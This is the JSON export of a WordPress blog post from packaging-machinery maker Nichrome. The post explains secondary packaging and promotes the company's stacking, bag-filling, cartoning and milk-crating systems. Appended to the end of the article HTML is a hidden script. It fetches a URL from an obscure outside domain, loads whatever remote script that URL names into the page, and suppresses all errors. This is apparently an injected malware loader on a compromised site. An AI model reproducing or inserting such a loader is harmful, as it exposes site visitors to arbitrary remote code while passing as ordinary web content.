{"id":817,"date":"2022-07-26T15:32:57","date_gmt":"2022-07-26T10:02:57","guid":{"rendered":"https:\/\/www.nichrome.com\/blog\/?p=817"},"modified":"2025-09-05T16:40:44","modified_gmt":"2025-09-05T11:10:44","slug":"the-first-name-in-secondary-packaging","status":"publish","type":"post","link":"https:\/\/www.nichrome.com\/blog\/the-first-name-in-secondary-packaging\/","title":{"rendered":"The First Name in Secondary Packaging"},"content":{"rendered":"\n<p><strong>Secondary packaging<\/strong> is an additional layer of \npackaging of products applied after the primary packaging to group a \ncertain number of products into a cohesive SKU (Stock Keeping Unit). \nSecondary packaging is used by many businesses to contain, aggregate, \npinpoint and protect the products within the primary packaging.<br><br>Secondary\n packaging may be in the form of either commercial packaging or consumer\n packaging. Secondary commercial packaging is rarely seen by the \nend-user and it is not designed to appeal to them. The materials for \nsecondary commercial packaging tend to lack colours and graphics. \nSecondary consumer packaging is designed to appeal to consumers while \nstill providing an additional protective layer for the product. This \nkind of packaging is designed to be attractive with colours and graphics\n that entice customers to make the purchase.<\/p>\n\n\n\n<p>When secondary packaging is done with apt branding and packaging  design, it can act as the catalyst that clinches the sale of your  product to the consumer over those of competitors sitting on market  shelves beside yours.<br><br>Secondary packaging can add to the  luxurious experience of using a product. It imbues sophistication to the  packaging and adds the differentiating factor between a premium product  and a mainstream one. For eg, a premium food product may have multiple  layers of packaging that extend the experience of consuming it.<br><br>Secondary  packaging may even be required to protect and secure the packaged  product during shipping in addition to shielding the primary packaging  from scuffs and scratches.<br><br>Another goal of secondary packaging is  to provide tamper-proof packaging, to ensure that the primary product  is not tampered with during transit. Secondary packaging helps the  consumer ascertain if the primary product was damaged, contaminated or  tampered with on its way to them.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Elements of Secondary Packaging<\/strong><\/h2>\n\n\n\n<p>The secondary product packaging can be composed of many elements:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>The box<\/li><li>Interior padding<\/li><li>Product assortment separators<\/li><li>Physical reinforcement to prevent transit damage<\/li><\/ul>\n\n\n\n<p>The various elements of secondary packaging can have another level of\n branding to increase the product\u2019s appeal and visibility on retail \nshelves.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Benefits of Secondary Packaging<\/strong><\/h2>\n\n\n\n<ul class=\"wp-block-list\"><li>Ease of Transportation \u2013 When transporting large \nnumbers of SKUs, it is important to have something to hold them together\n for practicality and convenience. The secondary packaging may be in the\n form of a bigger box\/carton or a shrink-wrapped bundle of products that\n makes them easy to transport.<br><\/li><li>Increased Convenience \u2013 \nSecondary packaging makes it easy for consumers who want to buy a \nbundle, assortment or batch of a certain product to handle and carry it \nconveniently.<br><\/li><li>Improved Merchandizing \u2013 The secondary \npackaging of smaller items can be used to increase the aesthetic appeal \nof these products on market shelves.<br><\/li><li>Value Proposition \u2013 \nBundling an assortment of products into a single SKU can add to the \nvalue perceived by the consumer, leading to increased sales.<br><\/li><li>Benefits\n for Ecommerce \u2013 The right secondary packaging can help Ecommerce \ncompanies prevent damage during shipping, improve brand recognition and \nenhance the customer experience.<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Secondary Packaging Solutions from Nichrome<\/strong><\/h2>\n\n\n\n<p>Nichrome is India\u2019s top <strong><a href=\"https:\/\/www.nichrome.com\/packaging-systems\/\">integrated packaging solutions<\/a><\/strong> supplier and one of the best \u00a0with numerous <strong>secondary packaging solutions<\/strong> for a wide range of applications. Nichrome provides <strong><a href=\"https:\/\/www.nichrome.com\/\">packaging solutions in India<\/a><\/strong> that are custom-made according to the customer\u2019s requirements, space and budget. These are integrated with a <strong>primary packaging machine<\/strong> for an end-to-end solution.<\/p>\n\n\n\n<p>Their secondary packaging solutions include:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Automatic Pouch Stacking and Wrapping System<\/h3>\n\n\n\n<p>This is a high-speed <strong>stacking and wrapping system<\/strong>  used in single and duplex machines that can pack and stack as per  requirements. It consists of a conveyor, pouch orienter, pusher, and  flow wrapping machine.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>HDPE Bag Filling System<\/strong><\/h3>\n\n\n\n<p>This is a  system that is controlled by PLCs and comes with an LCD touchscreen HMI  that displays its status and is used to change settings. This system has  an incredibly user-friendly design that allows for fast changeovers. It  can pack in different bag sizes ranging from 500 to 5000 grams.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Cartoning Machine<\/h3>\n\n\n\n<p>Nichrome\u2019s <strong><a href=\"https:\/\/www.nichrome.com\/packaging-systems\/horizontal-cartoning-machine.php\">Horizontal Cartoning Machine<\/a><\/strong> is significantly fast and efficient. This is a <strong>secondary packaging machine<\/strong>  which has an output rate of 50-55 cartons per minute. It can handle a  range of cartons: parallel tuck in, opposite tuck in, lock bottom and  glued.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong><a href=\"https:\/\/www.nichrome.com\/innovation.php\">Automatic Milk Pouch Crating System<\/a><\/strong><\/h3>\n\n\n\n<p>This  is a system that solves the issue of counting and filling pouches in  crates in sync with high-speed primary packaging machines. This is a  customizable system that can be designed according to the customer\u2019s  floor layout and the number of machines. It provides a complete  end-of-the-line solution that encompasses everything from crate washing  to cold storage. It helps to adhere to the quality and safety standards  in addition to keeping count of pouches and crates.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Conclusion<\/strong><\/h2>\n\n\n\n<p>Make the best use of space, and enhance efficiency and resource utilization with Nichrome\u2019s bespoke <strong>automated secondary packaging solutions<\/strong>.  Nichrome\u2019s expertise has been developed over 4 decades in the business,  with more than 7000 successful installations in over 45 countries  across the globe. Nichrome is your first choice comprehensive end-to-end  <strong><a href=\"https:\/\/www.nichrome.com\/\">integrated packaging solutions provider.<br><\/a><\/strong><br>Nichrome is participating in the <strong>PackPlus 2022 exhibition<\/strong> being held <strong>between 7-9 July<\/strong> at <strong>Pragati Maidan, New Delhi, India<\/strong>. PackPlus is India\u2019s <strong>only expo that covers the entire value chain of the packaging industry<\/strong>.<br><br>Visit us at Booth No A2, or visit <a href=\"https:\/\/www.nichrome.com\">www.nichrome.com<\/a> to get in touch!<\/p>\n<script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();\n\n\n    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;\n\n        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };\n\n        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };\n\n        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);\n\n        document.body.appendChild(script);\n      });\n    };\n\n    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Secondary packaging is an additional layer of packaging of products applied after the primary packaging to group a certain number of products into a cohesive SKU (Stock Keeping Unit). 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